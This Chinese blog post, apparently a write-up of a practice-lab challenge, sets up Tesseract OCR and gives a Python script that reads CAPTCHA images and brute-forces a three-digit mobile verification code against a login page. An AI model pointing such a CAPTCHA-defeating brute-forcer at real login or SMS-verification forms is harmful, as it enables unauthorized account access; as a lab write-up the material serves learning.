python实现验证码识别

今天帮凉茶大哥看题，发现验证码识别，于是研究了一下

首先

pip install pytesseract

1	pip install pytesseract

发现脚本运行报错，然后开始装tesseract-OCR

准备工作:
编译环境: gcc gcc-c++ make(这个环境一般机器都具备,可以忽略)
1
yum install gcc gcc-c++ make
依赖的包: autoconf automake libtool libjpeg-devel libpng-devel libtiff-devel zlib-devel leptonica(1.67以上)

1. autoconf automake libtool libjpeg-devel libpng-devel libtiff-devel zlib-devel 可以通过yum安装:
1
yum install autoconf automake libtool
2
yum install libjpeg-devel libpng-devel libtiff-devel zlib-devel
2. leptonica 需要源码编译安装
参考资料:
http://paramountideas.com/tesseract-ocr-30-and-leptonica-installation-centos-55-and-opensuse-113
http://www.leptonica.org/source/README.html
下载leptonica 包: http://www.leptonica.org/source/leptonica-1.68.tar.gz
解压后切换到leptonica-1.68 根目录
1
./configure
2
make
3
make install
tesseract安装:
依赖安装完毕后开始安装tesseract
下载tesseract-3.01 安装包: http://tesseract-ocr.googlecode.com/files/tesseract-3.01.tar.gz
解压后切换到tesseract-3.01 根目录
（如果在make时遇到类似strngs.h:1: error: stray ‘\357’ in program 的错误，请将tesseract-3.01/ccutil/strngs.h 文件转为ANSI 编码保存,再重新编译）
1
./autogen.sh
2
./configure
3
make
4
make install
5
ldconfig
tesseract英文语言包安装:
下载tesseract-3.01 英文语言包: http://tesseract-ocr.googlecode.com/files/tesseract-ocr-3.01.eng.tar.gz
解压后将tesseract-ocr/tessdata 下的所有文件全部拷贝到/usr/local/share/tessdata 下
安装完毕.
测试一下:
切换到解压后的tesseract-3.01 根目录(这个目录下有一个自带的phototest.tif 可以做测试用)
命令行:
1
tesseract phototest.tif phototest -l eng
输出:
1
Tesseract Open Source OCR Engine v3.01 with Leptonica
2
Page 0
这时应该在当前目录生成一个phototest.txt 文本文件,内容就是phototest.tif 显示的文字.

装完了之后开始跑脚本

#!/usr/bin/env python
# -*- coding: utf_8 -*-
# Date: 2016/6/10

try:
    import pytesseract
    from PIL import Image
    import requests
except ImportError:
    print 'moulde import error,Please use pip install,pytesseract depend follow'
    print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'
    print 'http://code.google.com/p/tesseract-ocr/'
    raise SystemExit

header = {'Cookie': 'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx'}


def vcode():
    print 'python vcode recognize'
    pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
    r = requests.get(pic_url, headers=header, timeout=10)
    with open('vcode.png', 'wb') as pic:
        pic.write(r.content)
    image=Image.open('vcode.png')
    im =pytesseract.image_to_string(image)
    print im
    print 'test3'
    im = im.replace(' ', '')
    if im != '':
        return im
    else:
        return vcode()


try:
    print '\nScript number 11\n'
    for pwd in xrange(100, 999):
        code = vcode()
        url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
        payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code}
        r = requests.post(url, data=payload, headers=header, timeout=10)
        response = unicode(r.content, 'utf-8').encode('gbk')
        if 'error' not in response:
            print 'Correct vcode is:', pwd, response
            break
        else:
            print 'Trying vcode:', pwd, code
except KeyboardInterrupt:
    raise SystemExit('Already Exit!')

#!/usr/bin/env python

# -*- coding: utf_8 -*-

# Date: 2016/6/10

try:

import pytesseract

from PIL import Image

import requests

except ImportError:

print 'moulde import error,Please use pip install,pytesseract depend follow'

print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'

print 'http://code.google.com/p/tesseract-ocr/'

raise SystemExit

header = {'Cookie': 'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx'}

def vcode():

print 'python vcode recognize'

pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'

r = requests.get(pic_url, headers=header, timeout=10)

with open('vcode.png', 'wb') as pic:

pic.write(r.content)

image=Image.open('vcode.png')

im =pytesseract.image_to_string(image)

print im

print 'test3'

im = im.replace(' ', '')

if im != '':

return im

else:

return vcode()

try:

print '\nScript number 11\n'

for pwd in xrange(100, 999):

code = vcode()

url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'

payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code}

r = requests.post(url, data=payload, headers=header, timeout=10)

response = unicode(r.content, 'utf-8').encode('gbk')

if 'error' not in response:

print 'Correct vcode is:', pwd, response

break

else:

print 'Trying vcode:', pwd, code

except KeyboardInterrupt:

raise SystemExit('Already Exit!')

运行，等待得到结果

$G{KEFNR$[4_GF_~}2[}Z97X$

问题解决，找凉茶大哥要红包。。。。。。

Lncken's Home

人如果没有梦想和咸鱼有什么区别？在梦想的路上奔跑的渣渣~~

python实现验证码识别

Reply 取消回覆